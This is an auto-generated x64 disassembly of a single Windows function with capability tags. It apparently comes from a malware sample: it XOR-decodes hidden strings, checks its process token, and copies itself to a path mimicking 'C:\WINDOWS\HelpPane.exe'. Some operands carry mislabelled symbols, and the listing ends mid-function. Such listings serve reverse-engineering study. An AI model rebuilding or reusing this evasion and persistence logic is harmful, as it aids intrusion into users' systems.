Function at 0x1400211a0
Capabilities:
Encode data using xor
Move file
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8b8]
sub rsp, 0x990
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x1400a3c40]
xor rax, rsp
mov qword [rbp + 0x850], rax
lea rcx, [rbp + 0x100]
call fcn.14001aaa0
cmp qword [rax + 0x18], 0x10
jb 0x1400211fa
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp + 0x118]
cmp rdx, 0x10
jb 0x140021244
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002123f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025d89
call fcn.14005c324
mov r8d, 0x104
lea rdx, [rbp + 0x740]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rbp + 0x120]
call fcn.14001aaa0
nop
lea rdx, str..exe
mov rcx, rax
call fcn.1400088e0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x58], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x48], xmm1
xor esi, esi
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], sil
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 0x10
cmovae rdx, qword [rbp - 0x58]
lea rcx, [rbp + 0x740]
call fcn.14002bc3c
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x1400212ea
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400212e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025d8f
call fcn.14005c324
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], recv
mov byte [rbp - 0x58], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x14002133b
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021336
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025d95
call fcn.14005c324
lea rcx, [rbp + 0x5b8]
call fcn.140004a70
nop
mov qword [rbp + 0x5e8], rsi
mov qword [rbp + 0x5f8], rsi
mov qword [rbp + 0x600], recv
mov byte [rbp + 0x5e8], 0
mov eax, dword [0x1400924a8]
mov dword [rsp + 0x40], eax
movzx eax, word [0x1400924ac]
mov word [rsp + 0x44], ax
mov byte [rsp + 0x40], 0x4b
xor byte [rsp + 0x41], 0x32
xor byte [rsp + 0x42], 0x33
xor byte [rsp + 0x43], 0x34
xor byte [rsp + 0x44], 0x35
xor byte [rsp + 0x45], 0x36
lea rdx, [rsp + 0x40]
lea rcx, [0x1408e87a0]
call fcn.140017720
lea rdx, [rbp + 0x5e8]
lea rcx, [0x1408e8960]
call fcn.140026c30
lea rax, [rbp + 0x140]
mov qword [rbp - 0x18], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x578], xmm0
movups xmmword [rbp + 0x588], xmm0
lea rbx, vtable.ATL::CAccessToken.0
mov qword [rbp + 0x578], rbx
movdqu xmmword [rbp + 0x580], xmm0
mov qword [rbp + 0x590], rsi
xor eax, eax
movups xmmword [rbp + 0x6c0], xmm0
movups xmmword [rbp + 0x6d0], xmm0
movups xmmword [rbp + 0x6e0], xmm0
movups xmmword [rbp + 0x6f0], xmm0
movups xmmword [rbp + 0x700], xmm0
movups xmmword [rbp + 0x710], xmm0
movups xmmword [rbp + 0x720], xmm0
mov qword [rbp + 0x730], rax
lea rcx, [rbp + 0x6c0]
call fcn.14001a200
nop
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x500]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140021512
lea rcx, [rbp + 0x578]
mov rax, qword [rbp + 0x578]
call qword [rax + htons]
mov rax, qword [rbp + 0x500]
mov qword [rbp + 0x580], rax
lea rdx, [rbp + 0x6c0]
lea rcx, [rbp + 0x578]
call fcn.140026620
test al, al
je 0x140021512
lea rcx, [rbp + 0x6c0]
call fcn.14001a3a0
mov rdx, rax
lea rcx, [rbp + 0x2a0]
call fcn.140026140
nop
mov rdx, qword [rax]
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], recv
mov r14, 0xffffffffffffffff
mov r8, r14
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400214e0
lea rcx, [rbp + 0x140]
call fcn.140003650
nop
lea rax, [rbp + 0x2a8]
mov rcx, qword [rbp + 0x2a0]
cmp rcx, rax
je 0x140021510
call fcn.1400277a8
nop
jmp 0x140021532
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x150], rsi
mov qword [rbp + 0x158], recv
mov r14, 0xffffffffffffffff
lea rax, vtable.ATL::CSid.0
mov rdx, qword [rbp + 0x730]
mov qword [rbp + 0x6c0], rax
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140021561
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x728]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140021582
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x720]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400215a3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
mov rdx, qword [rbp + 0x718]
add rdx, 0xffffffffffffffe8
mov eax, r14d
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1400215c5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + htons]
nop
mov rdx, qword [rbp + 0x588]
test rdx, rdx
mov rcx, qword [rbp + 0x580]
mov qword [rbp + 0x578], rbx
je 0x1400215f8
test rcx, rcx
je 0x1400215f1
call qword [sym.imp.USERENV.dll_UnloadUserProfile]
mov rcx, qword [rbp + 0x580]
mov qword [rbp + 0x588], rsi
test rcx, rcx
je 0x14002160a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x580], rsi
mov edx, 8
mov rcx, qword [rbp + 0x590]
call fcn.14005c324
mov qword [rbp + 0x590], rsi
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp + 0x278]
call fcn.140008b30
nop
lea r9, [rbp + 0x140]
mov r8, rax
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x5b8]
call fcn.1400055a0
mov ecx, dword [rbp - 0x14]
test ecx, ecx
je 0x140025975
sub ecx, 1
je 0x1400257b5
sub ecx, 1
je 0x1400255f5
sub ecx, 2
je 0x140025439
cmp ecx, 1
jne 0x140025d9b
movups xmm0, xmmword [str.r_VPPXCQXVH]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [0x140091f70]
movups xmmword [rbp + 0x250], xmm1
movups xmm0, xmmword [0x140091f80]
movups xmmword [rbp + 0x260], xmm0
movzx eax, byte [0x140091f90]
mov byte [rbp + 0x270], al
mov r8d, esi
lea r12d, [rcx + 4]
lea r13d, [rcx + 0x1e]
mov edi, dword [0x1400a3c50]
cmp edi, 2
jl 0x14002181f
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x244]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140021710
cmp r8d, 0x31
jge 0x140021863
movsxd rax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140021830
lea rdx, [rbp + 0x240]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
lea rdx, [rbp + 0x620]
lea rcx, [rbp + 0x5b8]
call fcn.140005e80
nop
cmp byte [rbp + 0x650], 0
je 0x140021a55
lea rdx, [rbp + 0x1a0]
call fcn.140025f40
mov r9, rax
cmp byte [rax + 0x25], 0
je 0x140025baa
cmp edi, 2
jl 0x140021a0e
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140021900
cmp esi, 0x26
jge 0x140025baa
movsxd r8, esi
add r8, r9
nop dword [rax]
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x33
movzx eax, sil
sub al, dl
add al, 0x31
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x26
jge 0x140025baa
jmp 0x140021a20
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], recv
mov byte [rbp - 0x58], 0
mov r8d, 4
lea rdx, str.WIN_
lea rcx, [rbp - 0x58]
call fcn.140003650
nop
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp - 0x58]
call fcn.140008980
mov qword [rbp + 0x508], rsi
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x508], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x518], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], recv
mov byte [rax], 0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0x10
jb 0x140021b04
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021aff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025da3
call fcn.14005c324
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], recv
mov byte [rbp - 0x58], 0
lea rcx, [rbp + 0x508]
cmp qword [rbp + 0x520], 0x10
cmovae rcx, qword [rbp + 0x508]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movups xmm0, xmmword [str.aWAYTXRVM]
movups xmmword [rbp + 0x178], xmm0
movzx eax, word [0x1400922e8]
mov word [rbp + 0x188], ax
cmp byte [0x1400922e9], 0
je 0x140021cf3
mov r8d, esi
cmp edi, 2
jl 0x140021cb0
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x17c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140021ba1
cmp r8d, 0x12
jge 0x140021cf3
movsxd rax, r8d
lea r9, [rbp + 0x178]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140021cc0
lea rcx, [rbp + 0x6a0]
cmp qword [rbp + 0x6b8], 0x10
setae r10b
mov r9, qword [rbp + 0x6a0]
cmovae rcx, r9
lea r8, [rbp + 0x178]
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
sub edx, eax
jne 0x140021d33
inc rcx
test eax, eax
jne 0x140021d20
test edx, edx
jne 0x1400222f2
movups xmm0, xmmword [str.a_VDTDV]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [0x140092330]
movups xmmword [rbp + 0xc0], xmm1
movsd xmm0, qword [0x140092340]
movsd qword [rbp + 0xd0], xmm0
movzx eax, word [0x140092348]
mov word [rbp + 0xd8], ax
movzx eax, byte [0x14009234a]
mov byte [rbp + 0xda], al
mov r8d, esi
cmp edi, 2
jl 0x140021edf
movdqa xmm5, xmmword [0x1400927f0]
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movdqa xmm7, xmmword [0x140092810]
movd xmm8, r13d
movdqa xmm0, xmmword [0x140092840]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xb4]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140021dd0
cmp r8d, 0x2b
jge 0x140021f23
movsxd rax, r8d
lea r9, [rbp + 0xb0]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140021ef0
lea rdx, [rbp + 0xb0]
lea rcx, [0x1408e87a0]
call fcn.140017720
mov rcx, rax
call fcn.140017990
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rax
lea rdx, [rbp + 0x6a0]
cmp qword [rbp + 0x6b8], 0x10
cmovae rdx, qword [rbp + 0x6a0]
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], recv
nop dword [rax + rax]
inc r14
cmp byte [rdx + r14], 0
jne 0x140021f80
mov r8, r14
lea rcx, [rbp + 0x10]
call fcn.140003650
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x528]
lea rcx, [rbp + 0x5b8]
call fcn.140007190
nop
mov rbx, qword [rbp + 0x528]
cmp rbx, qword [rbp + 0x530]
jne 0x140022123
test rbx, rbx
je 0x140022010
mov rdx, qword [rbp + 0x538]
sub rdx, rbx
mov rax, rbx
cmp rdx, 0x1000
jb 0x140021ff6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025da9
mov rcx, rbx
call fcn.14005c324
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x140022051
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002204c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025daf
call fcn.14005c324
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], recv
mov byte [rbp + 0x508], 0
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x600]
cmp rdx, 0x10
jb 0x1400220b9
inc rdx
mov rcx, qword [rbp + 0x5e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400220b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025db5
call fcn.14005c324
nop
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x1400220cb
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x5b8], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0x10
jb 0x140022119
inc rdx
mov rcx, qword [rbp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022114
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dbb
call fcn.14005c324
mov eax, 1
jmp 0x1400222b3
mov qword [rbp - 0x10], rsi
mov qword [rbp], rsi
mov qword [rbp + 8], recv
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.C:WINDOWSHelpPane.exe
lea rcx, [rbp - 0x10]
call fcn.140003650
mov rdx, rbx
lea rcx, [rbp - 0x10]
call fcn.140020ca0
nop
mov rcx, qword [rbp + 0x528]
test rcx, rcx
je 0x1400221a8
mov rdx, qword [rbp + 0x538]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140022191
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025da9
call fcn.14005c324
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
mov qword [rbp + 0x538], rsi
mov rdx, qword [rbp + 0x520]
cmp rdx, 0x10
jb 0x1400221e9
inc rdx
mov rcx, qword [rbp + 0x508]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400221e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025daf
call fcn.14005c324
mov qword [rbp + 0x518], rsi
mov qword [rbp + 0x520], recv
mov byte [rbp + 0x508], 0
lea rcx, [rbp + 0x620]
call fcn.140006750
nop
mov rdx, qword [rbp + 0x600]
cmp rdx, 0x10
jb 0x140022251
inc rdx
mov rcx, qword [rbp + 0x5e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002224b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025db5
call fcn.14005c324
nop
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x140022263
call qword [sym.imp.WS2_32.dll_closesocket]
mov byte [rbp + 0x5b8], 0
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov rdx, qword [rbp + 0x5e0]
cmp rdx, 0x10
jb 0x1400222b1
inc rdx
mov rcx, qword [rbp + 0x5c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400222ac
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140025dbb
call fcn.14005c324
xor eax, eax
mov rcx, qword [rbp + 0x850]
xor rcx, rsp
call fcn.14005bdd0
lea r11, [rsp + 0x990]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, dword [str.tAPUES7]
mov dword [rsp + 0x64], eax
movzx eax, word [0x14009221c]
mov word [rsp + 0x68], ax
movzx eax, byte [0x14009221e]
mov byte [rsp + 0x64], 0x45
xor byte [rsp + 0x65], 0x32
xor byte [rsp + 0x66], 0x33
xor byte [rsp + 0x67], 0x34
xor byte [rsp + 0x68], 0x35
xor byte [rsp + 0x69], 0x36
xor al, 0x37
mov byte [rsp + 0x6a], al
lea rcx, [rbp + 0x6a0]
test r10b, r10b
cmovne rcx, r9
lea rdx, [rsp + 0x64]
call fcn.14005e21c
test rax, rax
setne byte [rsp + 0x75]
movsd xmm0, qword [0x140092448]
movsd qword [rbp - 0x38], xmm0
mov eax, dword [0x140092450]
mov dword [rbp - 0x30], eax
movzx eax, byte [0x140092454]
mov byte [rbp - 0x2c], al
mov r8d, esi
cmp edi, 2
jl 0x140022490
movdqa xmm4, xmmword [0x140092890]
movd xmm6, r12d
movd xmm5, r13d
movdqa xmm2, xmmword [0x1400927f0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
mov eax, dword [0x140092840]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140092448]
pxor xmm2, xmm1
movd dword [rbp - 0x38], xmm2
movdqa xmm3, xmmword [0x140092800]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140092810]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x140092830]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x34]
pxor xmm2, xmm1
movd dword [rbp - 0x34], xmm2
mov r8d, 8
mov eax, r8d
lea r9, [rbp - 0x38]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400224a0
lea rcx, [rbp + 0x6a0]
cmp qword [rbp + 0x6b8], 0x10
setae r11b
mov r10, qword [rbp + 0x6a0]
cmovae rcx, r10
lea r8, [rbp - 0x38]
sub r8, rcx
nop dword [rax + rax]
movzx edx, byte [rcx]
movzx eax, byte [rcx + r8]
